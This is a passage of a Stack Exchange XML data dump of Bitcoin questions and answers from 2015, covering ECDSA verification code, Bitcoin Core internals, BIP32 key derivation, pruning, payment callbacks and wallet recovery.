quint8 tmp [32];&#xA;  ::SHA256 ( (const quint8*)data.constData ( ), data.size ( ), tmp );&#xA;  quint8 digest [32];&#xA;  ::SHA256 ( tmp, 32, digest );&#xA;  qDebug ( ) &amp;lt;&amp;lt; &quot;data=&quot; &amp;lt;&amp;lt; QString ( data.toHex ( ) );&#xA;  qDebug ( ) &amp;lt;&amp;lt; &quot;sign=&quot; &amp;lt;&amp;lt; QString ( sign.toHex ( ) );&#xA;  qDebug ( ) &amp;lt;&amp;lt; &quot;pubk=&quot; &amp;lt;&amp;lt; QString ( pubk.toHex ( ) );&#xA;&#xA;  qDebug ( ) &amp;lt;&amp;lt; &quot;digest=&quot; &amp;lt;&amp;lt; QString ( QByteArray ( (const char*)digest, 32 ).toHex ( ) );&#xA;&#xA;  const bool v ( ::ECDSA_verify ( 0, digest, 32, (const quint8*)sign.constData ( ), sign.size ( ), EC_KEY_pub_key ( pubk ) ) );&#xA;  qDebug ( ) &amp;lt;&amp;lt; &quot;result=&quot; &amp;lt;&amp;lt; v;&#xA;&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12983" LastEditorUserId="12983" LastEditDate="2015-05-21T16:05:23.437" LastActivityDate="2015-05-21T16:05:23.437" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="37481" PostTypeId="2" ParentId="37475" CreationDate="2015-05-20T12:05:07.817" Score="2" Body="&lt;p&gt;The chainActive variable stores the best known block chain. But this is essentially just the chain of block headers, not the actual blocks themselves. To load the actual block from disk, use the ReadBlockFromDisk() function. But, be aware that this is an expensive function to use, it does not return immediately. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;chainActive[0]&lt;/code&gt; or &lt;code&gt;chainActive.Genesis()&lt;/code&gt; &lt;a href=&quot;https://dev.visucore.com/bitcoin/doxygen/class_c_chain.html#a1eee0372da596a8fc68369e480adc2f1&quot; rel=&quot;nofollow&quot;&gt;[1]&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gives the genesis block header. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;chainActive[chainActive.Height()]&lt;/code&gt; or &lt;code&gt;chainActive.Tip()&lt;/code&gt; &lt;a href=&quot;https://dev.visucore.com/bitcoin/doxygen/class_c_chain.html#a7482d06d8e8143f46326cf9c12c06daf&quot; rel=&quot;nofollow&quot;&gt;[2]&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gives the header for the most recent block in the active chain. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;chainActive[chainActive.Height()-10]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Gives the block header for the block with 10 blocks built on top of it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use any of these CBlockIndex pointers as below to get the block. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CBlock block;&#xA;if (ReadBlockFromDisk(block, pindex)) {&#xA;    // do something&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-06-05T17:17:16.717" LastActivityDate="2015-06-05T17:17:16.717" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="37484" PostTypeId="1" CreationDate="2015-05-20T16:46:25.797" Score="0" ViewCount="63" Body="&lt;p&gt;I want to pay a merchant who only takes bitcoin payments. Do I create a wallet and only put in the amount of the price and pay with it? If so then what do I do after I send it to the merchant?&lt;/p&gt;&#xA;" OwnerUserId="26563" LastActivityDate="2015-06-19T23:20:38.370" Title="I have a merchant that only takes bitcoins can I just put the correct amount in the wallet and then pay them?" Tags="|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37485" PostTypeId="1" CreationDate="2015-05-20T17:04:54.887" Score="2" ViewCount="716" Body="&lt;p&gt;I'm creating a WordPress plugin for bitcoin donations. I want it to behave similar to the checkout process for many bitcoin shopping carts, where the QR code is displayed then once the user scans and sends bitcoin to the address, it swaps out with a &quot;thank you&quot; message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking of using messages attached to the donation, or a specific amount for each donation, but it's getting complicated. How can I have a single receiving address for each donation, yet have the system know when the user Joe has donated vs when Bob donated, so they both get thank you message at the appropriate time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible, or do I need to generate a middleman address for every transaction, and just check the balance on that one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only want to go this route so I'm not responsible for a screw up if someone donates, the site glitches, and the private key to the middleman address is lost before the funds can be forwarded on to the final receiving address.&lt;/p&gt;&#xA;" OwnerUserId="12580" LastActivityDate="2015-07-20T19:29:43.770" Title="Public API to verify transactions to a unique address as they occur?" Tags="|transactions|api|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37486" PostTypeId="1" AcceptedAnswerId="37487" CreationDate="2015-05-20T19:17:29.587" Score="11" ViewCount="9414" Body="&lt;p&gt;What is Bitcoin Core's &quot;Coin Control Features&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I use it, and what can I do with it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JC6yO.png&quot; alt=&quot;Coin Control Features screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="5406" LastEditDate="2016-08-03T08:17:50.897" LastActivityDate="2020-09-18T19:23:40.980" Title="What does Bitcoin Core's &quot;Coin Control Features&quot; do and how do I use it?" Tags="|bitcoin-core|coin-selection|coin-control|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37487" PostTypeId="2" ParentId="37486" CreationDate="2015-05-20T20:02:58.360" Score="13" Body="&lt;p&gt;From &lt;a href=&quot;https://bitcointalk.org/index.php?topic=144331.msg1530422#msg1530422&quot; rel=&quot;noreferrer&quot;&gt;the &quot;Yet another Coin Control Release [CLOSED]&quot; BitcoinTalk thread&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;What is coin control?&lt;/strong&gt;&#xA;  When you send bitcoins to someone else, the bitcoin client chooses kinda randomly which of your addresses will send the coins. With coin control you can exactly choose, which of your addresses will be the sending addresses. And even more specific which of your unspent outputs will be the sending inputs.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2015-05-20T20:02:58.360" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="37488" PostTypeId="1" AcceptedAnswerId="37489" CreationDate="2015-05-20T20:10:26.537" Score="46" ViewCount="8977" Body="&lt;p&gt;I've read &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki#Child_key_derivation_CKD_functions&quot; rel=&quot;noreferrer&quot;&gt;BIP32&lt;/a&gt;, and I do understand it more or less.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone please explain to me like I'm 5 years old what the difference between a child-key and a hardened child-key is?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to add HD wallet generation to a service I'm building. I need to be completely informed about this before I dabble in it. Fret not, I'll be using &lt;a href=&quot;http://bitcore.io/&quot; rel=&quot;noreferrer&quot;&gt;Bitcore&lt;/a&gt;, so I won't be dabbling with the crypto directly.&lt;/p&gt;&#xA;" OwnerUserId="19359" LastEditorUserId="5406" LastEditDate="2022-02-08T13:47:38.207" LastActivityDate="2022-02-08T13:47:38.207" Title="ELI5: What's the difference between a child-key and a hardened child-key in BIP32" Tags="|private-key|bip32-hd-wallets|hardened-derivation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37489" PostTypeId="2" ParentId="37488" CreationDate="2015-05-20T20:54:14.847" Score="43" Body="&lt;p&gt;Essentially, a hardened child key is is computed with &lt;code&gt;hash(parent private key + index)&lt;/code&gt;, whereas a non-hardened child key is computed with &lt;code&gt;hash(parent public key + index)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what practical consequences does this have?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With an extended public key, you can derive non-hardened child public keys. This is useful in situations where you want to accept payments without immediately being able to spend them. For example, if you had a website selling alpaca socks, your server could use an extended public key to accept payments without losing all of your money if it got hacked. So that's a reason why you might use non-hardened derivation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With an extended private key, you can also derive hardened keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, non-hardened public keys are weaker when an attacker has 1) the extended public key and 2) one of the non-hardened private keys that was derived from it. In that circumstance, the attacker can work out the private key of the extended public key, and therefore get every key that can be derived from that, hardened and non-hardened.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what should your app use by default?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should use non-hardened keys, and disable the ability to export private keys when that would allow an attacker to compromise other keys in the wallet. Even if an attacker gets ahold of one of the private keys, in situations where the attacker doesn't have access to the extended public key, non-hardened is equivalent to hardened security. In my mind, the features of non-hardened keys outweigh the added security of hardened keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you don't need the features of non-hardened keys, then you should use hardened keys, because they're more secure.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2020-02-18T18:52:34.413" LastActivityDate="2020-02-18T18:52:34.413" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="37490" PostTypeId="2" ParentId="37485" CreationDate="2015-05-20T22:36:14.157" Score="1" Body="&lt;p&gt;Yes you can.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If you're using a third party service to store your coins, they usually allow you to add a callback address when generating a new address, where they trigger a POST request to your server with a JSON object containing transaction details. Here are some examples:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Coinbase's API: &lt;a href=&quot;https://developers.coinbase.com/api#callbacks&quot; rel=&quot;nofollow&quot;&gt;https://developers.coinbase.com/api#callbacks&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Blockchain.info's API: &lt;a href=&quot;https://blockchain.info/api/api_receive&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/api/api_receive&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you're rolling your own addresses, you can use some block explorers to notify you of new transactions to existing addresses. One I know of is &lt;a href=&quot;https://chain.com/notifications&quot; rel=&quot;nofollow&quot;&gt;Chain.com's notification&lt;/a&gt; system. I haven't used this, but Chain is quite a developer friendly service.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Personally, I've only used Coinbase's API, and It worked quite well for me. I trust Coinbase to take care of my coins better than myself, but if you're more paranoid and better at security than I am, use Chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMHO I don't recommend Blockchain.info for anything. Their service really isn't that polished from all I've seen, and I just get a bad vibe from them. Coinbase has very nice support and a developer community where you can talk about all the problems you face.&lt;/p&gt;&#xA;" OwnerUserId="19359" LastEditorUserId="19359" LastEditDate="2015-05-21T19:01:50.613" LastActivityDate="2015-05-21T19:01:50.613" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37491" PostTypeId="2" ParentId="37484" CreationDate="2015-05-20T22:40:09.100" Score="2" Body="&lt;p&gt;Create a wallet, and pay the merchant their Bitcoin price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be much easier to clarify if you link to the merchant, so that we can actually see where you need to send it.&lt;/p&gt;&#xA;" OwnerUserId="19359" LastActivityDate="2015-05-20T22:40:09.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37492" PostTypeId="2" ParentId="37479" CreationDate="2015-05-20T22:52:06.233" Score="1" Body="&lt;p&gt;Check out Bitmixer.io, it even has an &lt;a href=&quot;https://bitmixer.io/api.html&quot; rel=&quot;nofollow&quot;&gt;API&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could do that, but personally, I think it's a much better idea to generate a new wallet per customer transaction. That way, all your coins aren't grouped together, so the customers won't know how much you make. Just how much they paid. Personally, my app creates addresses through the &lt;a href=&quot;https://developers.coinbase.com/api&quot; rel=&quot;nofollow&quot;&gt;Coinbase API&lt;/a&gt;, all of which are held in a specific account named after my app.&lt;/p&gt;&#xA;" OwnerUserId="19359" LastActivityDate="2015-05-20T22:52:06.233" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37493" PostTypeId="2" ParentId="2847" CreationDate="2015-05-21T03:33:19.673" Score="-1" Body="&lt;p&gt;The fastest computer is 150 Petraflops FPC per sec not 10 ... Try and keep up with the times (NV Link and Volta HCP Cards on IBM power processors) ... you can read or watch more at team green's website or the 2015 Conference vids on U tube.  Since the general answer seems to be based on 10 Petraflops as the worlds fastest computer ... You should be clearly able to see how quickly the FPC per sec can change , The Department of Energy is planning a 300P system already based on the same technology. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The point Is that your bitcoin folks telling you how secure it is based on 10P already have the basic math wrong by 15-30 times because they evidently don't know as much as they think. The improvements are not dependent on Moore's Law either , the recent advancements and present limitations have to do with an entirely different Law which is what NV Link solved as best it could and improved computing time so well , This is just today's example of how their theory of a billion billion years is already wrong by a factor of 15-30 and will continue to become wrong each year at a much higher rate than they assume. In 30 years or less bitcoin at it's present level will be easily cracked by anyone who has 40 to 50,000 dollars to spend (in todays money) or can use any number of University or Corporate Supercomputers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone who actually believes that 50 year old technology is going to keep something digitally secure 50 years later is frankly not the kind of person you should be paying ANY attention to at all ... Does that mean bitcoin is dangerous today ? Not really but if the same folks are in charge of it's security in 30 years, are the same clueless people that are on here right now it will be.   &lt;/p&gt;&#xA;" OwnerUserId="26570" LastEditorUserId="26570" LastEditDate="2015-05-21T04:04:03.323" LastActivityDate="2015-05-21T04:04:03.323" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37494" PostTypeId="1" AcceptedAnswerId="37495" CreationDate="2015-05-21T06:41:08.187" Score="5" ViewCount="1870" Body="&lt;p&gt;I want to install the bitcoind daemon on a computer with relatively little free space (about 35GB available). I thought that the blockchain was some 20 GB in size and figured that would be no problem, but I'm running into disk space issues. What I did was:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First I tried the torrent file to bootstrap the blockchain. I downloaded the whole dat file and then tried importing, but on importing it I ran into disk issues. About half of it was imported before the disk was full. &lt;/li&gt;&#xA;&lt;li&gt;I then removed the bootstrap file and let bitcoind load the blockchain from peers. I seems that it did use the half-imported bootstrap file so the first bit was quite fast.&lt;/li&gt;&#xA;&lt;li&gt;However, I now have 36GB in the blocks directory, and my drive is full. Still not all is downloaded! &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My question is: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is the blockchain really this big?&lt;/li&gt;&#xA;&lt;li&gt;Are there any files I could remove, given my particular way of going about this?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have a blk00001-00253, and rev00001-rev00253 in my blocks directory. Can I remove those rev files perhaps?&lt;/p&gt;&#xA;" OwnerUserId="14680" LastEditorUserId="3684" LastEditDate="2016-05-04T00:34:39.593" LastActivityDate="2016-06-19T04:24:25.040" Title="Blockchain over 36GB and causing disk space issues" Tags="|bitcoind|blockchain|storage-footprint|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37495" PostTypeId="2" ParentId="37494" CreationDate="2015-05-21T07:12:30.250" Score="5" Body="&lt;p&gt;Depends what you want to do. Remember, to use bitcoin you don't necessarily need a full-node. You can use many of the lightweight clients that exist out there which rely on Simplified Payment Verification (SPV). But if you want to be a full node (perhaps you're mining or you want to verify transactions yourself), then you need to download the entire blockchain which is almost 35GB large: &lt;a href=&quot;https://blockchain.info/charts/blocks-size&quot; rel=&quot;noreferrer&quot;&gt;https://blockchain.info/charts/blocks-size&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2015-05-21T07:12:30.250" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="37496" PostTypeId="1" AcceptedAnswerId="37497" CreationDate="2015-05-21T09:02:08.400" Score="51" ViewCount="44643" Body="&lt;p&gt;I read &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/37494/blockchain-over-36gb-and-causing-disk-space-issues/37495#comment43927_37495&quot;&gt;this comment&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You could consider running a pruning node, which is practically the&#xA;  same as a full node (including security), except it throws away some&#xA;  of the old history. Version 0.11 will make that possible&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But I can't find details of how to run &lt;code&gt;bitcoind&lt;/code&gt; in pruning mode. Questions on &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/19920/how-explicitly-can-the-blockchain-be-pruned&quot;&gt;this&lt;/a&gt; &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/21126/will-old-accepted-blocks-ever-be-removed&quot;&gt;site&lt;/a&gt; seem not to be recent enough to yield answers, and I also don't see a pruning mode in the &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin&quot;&gt;bitcoind parameters&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insights into this?&lt;/p&gt;&#xA;" OwnerUserId="14680" LastEditorUserId="5406" LastEditDate="2016-02-21T12:57:27.797" LastActivityDate="2019-01-28T10:33:53.923" Title="How can I run bitcoind in pruning mode?" Tags="|bitcoind|blockchain|pruning|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37497" PostTypeId="2" ParentId="37496" CreationDate="2015-05-21T10:44:47.500" Score="40" Body="&lt;p&gt;By setting the -prune option.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;-prune=&#xA;         Reduce storage requirements by enabling pruning (deleting) of old&#xA;         blocks. This allows the pruneblockchain RPC to be called to&#xA;         delete specific blocks, and enables automatic pruning of old&#xA;         blocks if a target size in MiB is provided. This mode is&#xA;         incompatible with -txindex and -rescan. Warning: Reverting this&#xA;         setting requires re-downloading the entire blockchain. (default:&#xA;         0 = disable pruning blocks, 1 = allow manual pruning via RPC,&#xA;  550 = automatically prune block files to stay under the&#xA;         specified target size in MiB)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The feature was originally introduced in Bitcoin Core 0.11 (see &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.11.0/doc/release-notes.md#block-file-pruning&quot; rel=&quot;noreferrer&quot;&gt;release notes&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of version 0.12 pruning can be used while running a wallet. But note the -txindex and -rescan caveats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that the specified MiB will only include the block files and some undo space. Besides that you will also need some disk space for the chain state and block index databases.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastEditorUserId="5292" LastEditDate="2019-01-28T10:33:53.923" LastActivityDate="2019-01-28T10:33:53.923" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="37498" PostTypeId="1" AcceptedAnswerId="37502" CreationDate="2015-05-21T14:09:21.987" Score="2" ViewCount="114" Body="&lt;p&gt;&lt;br/&gt;&#xA;Has someone calculated the avarage block size (e.g., for a day)?&lt;br/&gt;&#xA;On blockchain.info there are a few blocks listed with their size, on the top of the page :/&lt;/p&gt;&#xA;" OwnerUserId="24556" LastActivityDate="2015-05-21T18:00:00.543" Title="Avarage block size" Tags="|block|blocksize|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37499" PostTypeId="2" ParentId="37498" CreationDate="2015-05-21T14:24:04.120" Score="0" Body="&lt;p&gt;Take &lt;a href=&quot;http://webbtc.com/&quot; rel=&quot;nofollow&quot;&gt;http://webbtc.com/&lt;/a&gt; , copy-paste it to excel and calculate average for last 20 blocks. &lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2015-05-21T14:24:04.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37500" PostTypeId="1" CreationDate="2015-05-21T15:26:00.460" Score="0" ViewCount="176" Body="&lt;p&gt;This isn't directly related to Bitcoin; rather this is related to Infinitecoin, however the technologies are virtually the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other day I sent 2,000 IFC from my wallet (Infinitecoin-QT for Windows, version 1.8.8.0) to another address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked at this transaction on the blockchain, and it is reporting that I sent 60,000 IFC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transaction shows the 2,000 IFC as being sent to the correct address, and then another 58,000 IFC to an unknown address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a link to the transaction for more info:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://coinplorer.com/IFC/Transactions/106a8812b178c74b65303c42c8a754941db4a296b861eab116d71bd8f4c0492c&quot; rel=&quot;nofollow&quot;&gt;https://coinplorer.com/IFC/Transactions/106a8812b178c74b65303c42c8a754941db4a296b861eab116d71bd8f4c0492c&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd really like to know where my 58,000 IFC went!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. My wallet does not show 58,000 missing coins&lt;/p&gt;&#xA;" OwnerUserId="9342" LastActivityDate="2015-07-22T03:47:23.653" Title="Erroneous blockchain transactions...more coins than I specified!" Tags="|transactions|blockchain|altcoin|" AnswerCount="1" CommentCount="1" ClosedDate="2015-07-22T06:55:52.080" ContentLicense="CC BY-SA 3.0" />
  <row Id="37502" PostTypeId="2" ParentId="37498" CreationDate="2015-05-21T18:00:00.543" Score="4" Body="&lt;p&gt;Here's &lt;a href=&quot;https://blockchain.info/charts/avg-block-size&quot; rel=&quot;nofollow&quot;&gt;your answer&lt;/a&gt;!&#xA;Blockchain.info provides the average block size.&lt;/p&gt;&#xA;" OwnerUserId="21790" LastActivityDate="2015-05-21T18:00:00.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37503" PostTypeId="1" CreationDate="2015-05-21T20:58:39.073" Score="1" ViewCount="927" Body="&lt;p&gt;I backed up my private key and restored it into a new copy of Multibit (difference machine). The import was successful but the public key address has not been updated with my previous address.&lt;/p&gt;&#xA;&lt;p&gt;I've done &amp;quot;Check Private Keys&amp;quot; which said it was successful as well as forced a resync with the blockchain. None of my old transactions are showing up.&lt;/p&gt;&#xA;&lt;p&gt;Any thoughts? No doubt I'm doing something wrong.&lt;/p&gt;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&lt;h3&gt;Edit:&lt;/h3&gt;&#xA;&lt;p&gt;Thanks for the response! I verified through bitaddress.org that the private key I exported only matches the bitcoin address automatically generated when I created the new wallet.&lt;/p&gt;&#xA;&lt;p&gt;But the old private key that I IMPORTED into this same wallet is nowhere to be found. Multibit says the import was a success. If this is true there should be TWO private keys in the export file; one for the auto-generated bitcoin address and one that matches the old imported private key.&lt;/p&gt;&#xA;&lt;p&gt;I'd love to take the private key in my original export file and paste it into bitaddress.org to see if it matches my public address but my export file is encrypted. So I have to import into Multibit, enter the password and then export it unencrypted to obtain the private key.&lt;/p&gt;&#xA;&lt;p&gt;Does anyone know of a way to decrypt an encrypted private key file without using Multibit?&lt;/p&gt;&#xA;" OwnerUserId="26580" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2022-03-25T09:02:45.270" Title="Multibit Private Key Restore" Tags="|multibit|backup|wallet-recovery|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37505" PostTypeId="1" CreationDate="2015-05-21T22:21:11.087" Score="3" ViewCount="429" Body="&lt;p&gt;I've had Bitcoin-QT running for about six total hours, and the rate at which it's catching up is glacial at best. It takes about an hour to advance a week, which would make the process take about 4 days to complete. It didn't take nearly this long on my PC; I started and finished the process while my Mac was still running. I'm running Bitcoin-Qt v.0.10.1 64-bit on a 2011 MBP, 8 GB of RAM, on 10.10.4. Is this normal, or is there something wrong? &lt;/p&gt;&#xA;" OwnerUserId="26583" LastActivityDate="2016-12-19T11:14:52.697" Title="Why does Bitcoin-QT not seem to be catching up on my Mac?" Tags="|blockchain|bitcoin-core|mac|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37506" PostTypeId="1" CreationDate="2015-05-22T00:27:23.097" Score="3" ViewCount="150" Body="&lt;p&gt;Are bitcoin related certifications viewed favorably amongst the bitcoin community? I work in a related field and I am interested in pursuing a certification to distinguish myself, but I'm not sure how valuable these things are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example the following organizations:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://cryptoconsortium.org/certifications/CBP&quot; rel=&quot;nofollow&quot;&gt;CryptoCurrency Consortium&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.digitalcurrencycouncil.com/certification-learn-more/&quot; rel=&quot;nofollow&quot;&gt;Digital Currency Council&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26584" LastActivityDate="2015-05-22T02:32:45.107" Title="What is the value of these bitcoin certifications that have popped up recently?" Tags="|websites|learning|job|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37507" PostTypeId="2" ParentId="37506" CreationDate="2015-05-22T02:32:45.107" Score="1" Body="&lt;p&gt;It varies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first certification you posted, CBP, seems to be &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/2fztuk/crypto_currency_certification_consortium_become_a/&quot; rel=&quot;nofollow&quot;&gt;broadly well-perceived&lt;/a&gt;. As for the second one, I cannot find anyone saying anything about it, besides that it exists.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;but I'm not sure how valuable these things are.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm not sure either. Similar to &lt;a href=&quot;http://nypost.com/2013/04/10/security-guard-training-company-scammed-customers-during-financial-crisis-lawsuit/&quot; rel=&quot;nofollow&quot;&gt;security guard training companies&lt;/a&gt;, these certification organizations are going to exist along a spectrum of legitimacy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, (and this is where we go from facts to opinions) I think the CBP test would be worth taking if you already have the knowledge to do so, but beyond that, you're probably better off with a certification in a related field, like RHCE.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-05-22T02:32:45.107" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37508" PostTypeId="1" AcceptedAnswerId="37510" CreationDate="2015-05-22T03:15:38.313" Score="2" ViewCount="158" Body="&lt;p&gt;Electrum version 2 creates a seed from a random number which is then encoded as a mnemonic. The seed is validated by checking that the hmac begins with the bytes &lt;code&gt;01&lt;/code&gt; or &lt;code&gt;101&lt;/code&gt; for standard and 2fa types, respectively. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked at the python code on github and indeed it does return the 01 byte but I am still confused as to &lt;strong&gt;how one can ensure a hash is going to start with a predicted value&lt;/strong&gt; (&lt;code&gt;01\101&lt;/code&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can this be so? Is it that I'm missing the nuance of what the code does or the concept of how hmac works&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-05-22T13:51:04.963" Title="Electrum 2 validation: how is the HMAC always 01...?" Tags="|electrum|cryptography|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37509" PostTypeId="1" AcceptedAnswerId="37534" CreationDate="2015-05-22T03:29:59.027" Score="7" ViewCount="845" Body="&lt;p&gt;In the context of no-fee transactions that can take a long time to get their first confirmation, is it possible to use raw transactions and double-spend the original transaction by broadcasting another transaction but this time including a miner fee? Or does it otherwise get ignored by every miner that already has the original no-fee tx in their mempool?&lt;/p&gt;&#xA;" OwnerUserId="8728" LastActivityDate="2015-05-28T17:11:24.110" Title="Speeding up confirmation by double-spending a transaction stuck in mempool" Tags="|doublespend|mempool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
